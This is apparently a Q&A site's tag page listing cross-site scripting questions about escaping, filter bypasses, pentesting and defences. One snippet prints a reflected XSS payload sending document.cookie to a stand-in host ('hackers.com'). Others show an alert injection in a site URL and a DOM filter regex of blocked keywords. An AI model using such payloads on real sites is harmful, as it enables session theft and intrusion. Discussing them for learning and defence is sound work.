Cross-Site Scripting: An attack method that involves injection of code or markup into a webpage. There are three major types of XSS: Reflected XSS, Stored XSS (aka persistent XSS), DOM-based XSS (aka client side XSS).

learn more… | top users | synonyms

10
votes
1answer
265 views

Should Content in <noscript> Blocks Be Escaped

The title pretty much says it all. It seems counter-intuitive to escape inside a <noscript> block because any js that an attacker is able to inject there shouldn't be executed. But, I'm still ...
0
votes
3answers
138 views

Regarding Cross-Site Scripting attacks

My application has an Upload Management Module and accepts Excel and text files to our server. I detected invalid data inside some uploaded files (the uploader put ...
6
votes
1answer
2k views

Host Header Attacks

So reading this blog post, I know how the password reset works and how it's exploitable, but in a real case scenario, how would XSS be possible? Is there a way to send a victim to a page with the host ...
2
votes
1answer
734 views

Cross site Scripting in HTTP Method?

Lately, I've noticed that many web server configurations reflect the method of an HTTP request sent with a non implemented method in the body of the server's response. For example, A request sent ...
3
votes
2answers
1k views

XSS Vector Without Forward Slashes or Spaces

I need an XSS vector that doesn't use forward slashes or spaces. I've gone through lists of hundreds of vectors, but they usually have one of those two. The space gets URL encoded, and anything after ...
2
votes
2answers
382 views

What hacking risks a site has if it has no input boxes?

I recently posted a question about recovery of website from XSS attacks, http://stackoverflow.com/questions/20759081/how-to-recover-a-site-after-an-xss-attack... Doing a bit more digging online, i ...
5
votes
1answer
380 views

How is DOM XSS possible here?

I was looking at this website and trying to understand how this XSS is possible, but I just can't figure it out. Here's the URL: http://www.domxss.com/domxss/01_Basics/05_jquery_html.html?681973661 ...
3
votes
2answers
1k views

UTF-7 XSS attacks in modern browsers

I've recently read about utf-7 XSS-attacks (i.e. Ned Batchelders article at http://nedbatchelder.com/blog/200704/xss_with_utf7.html) but could not get any UTF-7 attack to work in modern browsers. (I ...
5
votes
2answers
158 views

Any eventhandlers that apply to hidden elements?

Im trying to XSS a search field and my attack vector is getting reflected like this: <input type="text" id="txtRpHiddenKeyword" style="display: none;" value="ATTACK VECTOR HERE" /> Only ...
3
votes
1answer
1k views

ASP.NET Web API and potential XSS

I'm wondering if my ASP.NET Web API had an XSS vulnerability as my controller didn't have a method to handle the default GET call. Without the GET method being handled in the code a call to ...
9
votes
2answers
962 views

Is Django's built-in CSRF protection enough?

Django sets a CSRF protection token on the user's machine via a cookie. It then asks for the token on POST requests. If these two don't match, it returns a 403. If I change manually both the cookie ...
0
votes
1answer
529 views

How can attacker bypass this dom xss filter? [closed]

I'm trying to solve an dom xss challenge where filter used is : var anchor = window.location.hash.substring(1); if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) { ...
2
votes
2answers
700 views

PHP on IIS 7.5 Hacked - How do I find and fix the XSS Injection?

I discovered that someone had gained access via FileZilla server software to my Windows 2012 Server. It seems like they had created extra accounts and were trying brute force attempts to get in nearly ...
1
vote
1answer
135 views

handle user-session-cookie and csrf token correctly for javascript app

I have a django web app serving restful api endpoints and a javascript web app communicating with those endpoints through ajax. They are under the same domain but in different ports. server api ...
5
votes
1answer
655 views

What is mutation XSS (mXSS)?

I was unable to find any good documentation or anything on mXSS. Can anyone give some info or give a link? I found a video and a PDF of the video's presentation: ...
4
votes
2answers
266 views

XSS when <, > and " are escaped

I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following : It escapes <, >, " to their URL entities (not &, ) or () You are ...
0
votes
3answers
3k views

How can I control the content of the HTTP HOST header in requests issued from my website?

Is anyone familiar with a way in which I can post a link on my website, that when accessed will cause users to issue an HTTP request to a 3rd party site with custom content in the HOST header ...
4
votes
1answer
92 views

can Veracode be taught to accept mitigations that it does not yet recognize

Veracode (http://www.veracode.com/) has certain parameter encoding libraries that it trusts. Others are labeled as flaws. If I'm satisfied with another method of parameter encoding that is meant to ...
1
vote
2answers
2k views

How to do server side validations in Java to prevent XSS? [closed]

When i use method Get and intercept the request with any proxy tool. then Cross site scripting because of absence of server side validations. But in case of post method, as we know data flows in the ...
0
votes
1answer
96 views

Verifying one specific attack vector of Cross Site Scripting

Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function.. <script ...
2
votes
1answer
451 views

Using Selenium tool for xss scripts

Ok, so i need to know can Selenium webdriver tool be used for testing xss vulnerabilities and exploits. If its possible, then pleasee provide me with some example or tutorial. Apologizes, if am wrong ...
0
votes
1answer
479 views

Am I correctly preventing XSS in PHP? [duplicate]

While building my website I put together a security class which includes two functions, one takes input and returns it as a string passed through htmlentities function of PHP. The other strips out ...
-1
votes
1answer
169 views

Cross site scripting in url? [duplicate]

I currently have a xss problem in this site. https://bbcpanningen.cupweb6.nl:1311/servlet/OMSALogin?msgStatus="><script>alert("hello") </script> But I don't understand how an ...
2
votes
2answers
310 views

Unsanitized HTML input

My school uses the website WebAssign for online math and science homework. One of WebAssign's features is a "My Notes" section that allows you to input notes for a problem and come back to it later ...
-1
votes
1answer
419 views

Open Source tool for analysing javascript for security vulnerabilities [closed]

I am completely new to this field and am a college student. I am looking for a static code analysis tool that scans the source code of a web app ( NOT the URL) for security vulnerabilities. So far i ...
5
votes
2answers
420 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
2
votes
1answer
2k views

Are these both cross frame scripting attacks?

I've received a recent security review of a website which mentioned it had a cross frame scripting vulnerability. In short, it mentioned that a malicious site could load the page up in an iframe, ...
1
vote
1answer
366 views

Tracing security policy permissions in JavaScript

I'm working on a glorified click-jacker which uses CNAMES for navigation (example.bit -> example.speech.is) and I want to allow cross-domain access to the contents of an iFrame. The child iframe has ...
2
votes
1answer
2k views

Preventing XSS for REST API

I have a spring REST API and a client project. Client projects' HTML page uses jquery ajax calls to fetch data from REST API using json or xml format. My question is to avoid XSS attacks on a web ...
2
votes
2answers
200 views

xss Scripting on clean-urls

I am learning about XSS vulnerability. I need to know what sort of XSS attack can be done on clean URLs. Clean URL example : //my url.net/project/public/#questions/question/edit/id/122/answer/1
1
vote
4answers
950 views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
1
vote
1answer
247 views

Reflected XSS - Automatic understanding of filters

I'm currently facing this possible reflected XSS vulnerability on a webapp: URL = http://www.test.com/login/?login=[PAYLOAD] When a user clicks on this link, it displays a login page that includes ...
7
votes
5answers
2k views

Does setting httponly prevent stealing a session using XSS?

If a session token is stored in a cookie that has httponly set, is there any way that a XSS vulnerability could allow a malicious user to steal a users session token?
3
votes
3answers
158 views

Why doesn't XSS vulnerability from the site launching the CSRF attack make the Synchronizer Token Pattern insecure?

I was reading this question about using Synchronizer Token Pattern to protect against CSRF and the comments of the answer intrigued me. Of course, as the last comment says, if your site has an XSS ...
2
votes
3answers
505 views

Flash ignores Content-Type header, allowing XSS?

I recently read that the Flash plugin ignores the Content-Type header in certain circumstances. In particular, you can give Flash a URL, and the Flash plugin will happily fetch the content at that ...
2
votes
1answer
322 views

CRLF Injection into Web Page

I was pen-testing a site recently which I found a few issues in, and this continues to a previous question I asked about Null-byte string termination in web applications. I have noticed that the site ...
3
votes
1answer
109 views

How can I migrate from filter-on-output to filter-on-input?

I recently joined a company with a million+ lines-of-code PHP app. The security approach to XSS appears to be to filter output whenever the dev thought of it. Not surprisingly, they didn't catch ...
0
votes
1answer
1k views

Calling JavaScript functions from within a Style tag XSS

I've identified an XSS in a client's application where they've failed to properly sanitize a variable. The application, however, is written in ASP.NET 2.x and they have request validation turned on. ...
6
votes
4answers
12k views

Best way to sanitize user input in PHP

Best way to sanitize User input so things i did when users place data - substr if over limited values found. htmlspecialchars() + ent_quotes + UTF-8 str_replace '<' '>' users input What more ...
1
vote
2answers
4k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
4
votes
2answers
929 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
1
vote
1answer
271 views

Is it possible to execute xss under these conditions?

Is it possible to execute xss under the following conditions? The following blocked characters and words are replaced with _. characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } ...
3
votes
1answer
232 views

How effective is Caja at preventing XSS?

I recently found Caja which looks like an effective way of preventing XSS. From their site: The Caja Compiler is a tool for making third party HTML, CSS and JavaScript safe to embed in your ...
1
vote
3answers
443 views

What is the risk of cross site scripting if I embed javascript into a website

What is the risk of cross site scripting, if I embed javascript into a website? Quite simply, I am using a 'site builder', and they don't allow rotating images, but they allow you to embed code... So ...
0
votes
1answer
490 views

XSS Penetration Tools for OSX [closed]

I'm trying to find any recommended tools for XSS security testing using OSX. I tried using the latest OWASP Xenotix XSS Exploit Framework 4, although when used via CrossOver it crashes upon trying to ...
2
votes
1answer
112 views

Unusual ownership-ID using localStorage; any possible issues?

I'm working on a small side project in PHP. I may yet include some sort of actual username/password registration down the line, but for now, for ease of attracting attention, my goal is to allow for ...
1
vote
1answer
1k views

Uploading images safe of XSS, php code and virus

I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not ...
3
votes
1answer
140 views

Site Executing control characters in title tag

I am currently pentesting a site for a client of mine and I found a very strange 'bug'. They have a search box on the home page which if I enter te\tst and hit search, it redirects to the search ...
2
votes
3answers
1k views

Cross site scripting prevention removing &lt and &gt

I'm testing an application that only skips < and > symbols. The user input being validated is always inserted between html tags like <b>, <span>, <div>, etc. and never passed ...